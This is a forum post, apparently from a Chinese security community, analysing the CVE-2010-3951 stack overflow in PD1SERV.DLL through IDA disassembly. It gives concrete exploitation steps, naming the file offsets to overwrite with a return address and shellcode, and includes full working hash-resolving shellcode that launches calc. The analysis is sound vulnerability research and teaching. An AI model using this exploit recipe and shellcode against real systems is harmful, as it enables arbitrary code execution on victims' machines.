首页
社区
课程
招聘
[原创]來個CVE-2010-3951詳細版
发表于: 2013-8-12 03:17 4145

[原创]來個CVE-2010-3951詳細版

2013-8-12 03:17
4145
   這是一個很過時的漏洞,也比較經典,作為入門是一個不錯的例子。。

         根据最近崩溃点,回溯逐步跟踪,可以定位到存在问题的组件的组件为PD1SERV.DLL。
   同时可以看到其中一种漏洞函数的调用关系如下:sub_32993742 ----> sub_32986A4F ----> sub_32986015 ----> sub_329863F1(漏洞函数)
   下面从对PD1SERV.DLL解析文件结构进行分析(IDA Base Address = 0x32900000
        sub_32993742 ----> sub_32986A4F
.text:32986A7F	call	[edx+VTABLE_PTR.Seek]		; 定位文件当前读取的位置
.text:32986AD2	call	dword ptr [eax+0Ch]		; 从当前位置起读取0x28 byte数据
   
.text:32986B43	mov		eax, [edi+1Ch]		; 28 byte中最后一个dword为循环次数
.text:32986B46	mov		ecx, eax
.text:32986B48	dec		eax
.text:32986B49	test	ecx, ecx
.text:32986B4B	mov		[ebp+var_1C], eax
.text:32986B4E	jz		loc_32986C81
   
.text:32986B64	call	dword ptr [ecx+0Ch]		; 读取接下来的20个字节
.text:32986BAE	call	dword ptr [eax+14h]		; 文件操作指针返回到开始读取的位置
.text:32986BE9	call	dword ptr [ecx+14h]		; 定位到下个开始读取的位置,20 bytes中最后一个dword为偏移
.text:32986C5C	call	sub_32986015				; 调用sub_32986015进入下一步结构解析
   
.text:32986C73	mov		eax, [ebp+var_1C]		; 循环次数不为0则重复20 bytes的操作
.text:32986C76	dec		[ebp+var_1C]
.text:32986C79	test	eax, eax
.text:32986C7B	jnz		loc_32986B54

   结构描述如下:


        sub_32993742 ----> sub_32986A4F ----> sub_32986015
    
   
.text:3298605B	call		dword ptr [edx+14h]			; 定位文件当前读取的位置
.text:3298609E	call		dword ptr [eax+0Ch]			; 读取接下来的8个字节
.text:32986112	mov		eax, [eax+18h]				; 8 bytes中,后一个dword为循环次数
.text:32986115	mov		ecx, eax
.text:32986117	dec		eax
.text:32986118	test		ecx, ecx
.text:3298611A	mov		[ebp+pInterface], eax
.text:3298611D	jz		loc_3298624F

   ; 下面读取的8个bytes,后一个dword为下一次文件操作的偏移,前一个dword含义未知,看下面红色文字说明
.text:32986133	call		dword ptr [ecx+0Ch]		; 读取接下来的8个字节
.text:32986178	lea		ebx, [eax+ecx]			; 计算下一个操作的位置
.text:329861BC	call		dword ptr [ecx+14h]		; 把文件指针移到下一个操作的位置

   ; 该函数判断该读取8个bytes中前一个dword是否空,如果为空的话,就调用漏洞函数进行下一步解析,否则的话就调用sub_32985476进行下一步解析,要触发漏洞,该值一定要为空
.text:329861EE	cmp		[ebp+var_38], ebx		; 
.text:329861F1	jz		loc_329862B8
   .。。。。。。。。。。。。
.text:32986215	call		sub_32985476				; 不为空时调用该函数做下一步解析
   。。。。。。。。。。。。	
.text:329862BC	call		ProblemFunction			; 为空时调用漏洞函数做下一步解析
   
.text:32986243	mov		eax, [ebp+pInterface]		; 循环次数不为0则重复8 bytes的操作
.text:32986246	dec		[ebp+pInterface]
.text:32986249	test		eax, eax
.text:3298624B	jnz		short loc_32986295


   结构描述如下:


sub_32993742 ----> sub_32986A4F ----> sub_32986015 ----> sub_329863F1(漏洞函数)
   
   
.text:3298641B	call		dword ptr [eax+0Ch]		; 读取当前位置的4个字节,为循环次数
; 读取接下来的8个字节,后一个dword为接下来需要读取的大小。
.text:32986468	call		dword ptr [eax+0Ch]
   
; 这是根据前面读取的内容来进行动态读取的,而这里使用固定大小的栈Buffer来存放,因此会构成栈溢出
.text:32986475	mov		eax, [ebp+var_114]			; 前面得到的8个bytes中的后一个dword
   。。。。。。。。。。。。
.text:32986483	push		edx
.text:32986484	push		eax
.text:32986485	lea		eax, [ebp+String]			; 使用一个0x100 bytes的栈空间存放数据
.text:3298648B	push		eax
.text:3298648C	push		edi
.text:3298648D	call		dword ptr [ecx+0Ch]		
   
.text:329864BA	inc		esi						; 循环未结束则重复前面的8 bytes操作
.text:329864BB	cmp		esi, [ebp+var_8]
.text:329864BE	jb		short loc_32986458

   漏洞文件可以通过修改偏移为0x1740处的大小为一个dword的域(该域指定接下来动态读取数据大小),并且在随后偏移0x114处填充返回地址和shellcode,使其造成缓冲区溢出并执行shellcode。详细结构及数据布局请看下面结构描述。

   结构描述如下:



.586
.model flat,stdcall
option casemap:none

;include		windows.inc
;include		kernel32.inc
;include		user32.inc
;
;includelib	kernel32.lib
;includelib	user32.lib

DAT_ExitProcess				EQU		0*4
DAT_WinExec					EQU		1*4

CONST_SIZE					EQU		3*4
DATA_SIZE						EQU		5*4

CON_ExitProcessHash			EQU		0*4
CON_WinExecHash				EQU		1*4
CON_ExeName					EQU		2*4
CON_Null						EQU		3*4

.code

start:		
	nop;
	nop;
	nop;
	push	edx;
	push	edx;
	mov		edi, esp;
	call	_init_const;

_init_const:
	pop		esi;
	jmp		_init_const_end
	dword	05335741Ch;								----> ExitProcess
	dword	0738925E2h;								----> WinExec
	byte	"calc"
	dword	0h;
_init_const_end:
	add		esi, 3;
	
_find_base_addr_of_krnl:
	assume  fs:nothing
	mov		ebx, dword ptr fs:[30h];
	mov		ecx, dword ptr [ebx+0ch];
	mov		eax, dword ptr [ecx+1ch];
	mov		ecx, dword ptr [eax];
	mov		ebp, dword ptr [ecx+08h];
	
	
_init_api_addr:
	mov		edx, dword ptr ss:[esi][CON_ExitProcessHash];
	call	_get_api_addr_by_hash;
	mov		dword ptr ss:[edi][DAT_ExitProcess], eax;
	mov		edx, dword ptr ss:[esi][CON_WinExecHash];
	call	_get_api_addr_by_hash;
	mov		dword ptr ss:[edi][DAT_WinExec], eax;
	
	
_execute_function:
	cdq;
	push	edx;
	lea		eax, dword ptr ss:[esi][CON_ExeName]
	push	eax;
	call	dword ptr ss:[edi][DAT_WinExec];
	push	edx;
	call	dword ptr ss:[edi][DAT_ExitProcess];

;
; Parameter -
;		ebp ---> Specify the module base address !
;		edx ---> Specify the hash value !
;
; Return -
;		eax ---> The API address !
_get_api_addr_by_hash:
	
	mov		eax, dword ptr [ebp+3ch];		---> get offset of the PE header !
	mov		ebx, dword ptr [ebp+eax+78h];	---> located to rva of export entry !
	add		ebx, ebp;						---> calc the memory address !
	mov		ecx, dword ptr [ebx+14h];		---> get the count of all names !
		
	.while ecx > 0
		push	        edx;								---> save the hash value !
		mov		eax, dword ptr [ebx+04h*08h];		---> get the rva of names !
		add		eax, ebp;							---> the rva arrary address !
		mov		edx, dword ptr [eax+ecx*4-4];		---> get one item !
		add		edx, ebp;							---> calc the address !
		call	_get_str_hash;						---> calc the hash !
		pop		edx;
		.if eax == edx
			; we find the api we need ! here we should get the api address !
			mov		eax, dword ptr [ebx+04h*07h];
			add		eax, ebp;
			mov		eax, dword ptr [eax+ecx*4-4];
			add		eax, ebp;				---> this is our api-address !
			.break
		.endif
		dec		ecx;
	.endw
	retn;
	
;
; Parameter -
;	edx	--->	Specify the string address need to be calc the hash value !
;
; Return -
;	eax --->	return the hash value of string !
;
_get_str_hash:
	push	esi;
	mov		esi, edx;
	cdq;
	_hash_loop:
	lodsb;
	ror		edx, 1
	xor		dl, al;
	rol		edx, 07h;
	test	al, al;
	jnz		_hash_loop;
	pop		esi;
	xchg	eax, edx;
	retn;	
	nop;
	nop;
	nop;
end start


        小弟還是頭一次做這麼正規的漏洞分析,有什麽不正確的地方請各位同學指正。。小小東西還真用了不少時間。棧溢出,比較基礎,剛入門必須掌握。。。ShellCode 在vmware-xp-sp3下測試通過,不支援其他OS 。。

        前段時間因為工作調動等種種原因,謝絕了不少很好的工作機會,現在是有點後悔。想轉做內核開發,又因為工作經驗問題處處碰壁。。。。。非常渴望跟行業內的前輩學習,求推薦,求機會。。。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 5
支持
分享
最新回复 (2)
雪    币: 45
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
好资料,学习!
2013-8-12 09:12
0
雪    币: 219
活跃值: (738)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
3
不客气,拿走
2013-8-12 12:58
0
游客
登录 | 注册 方可回帖
返回
//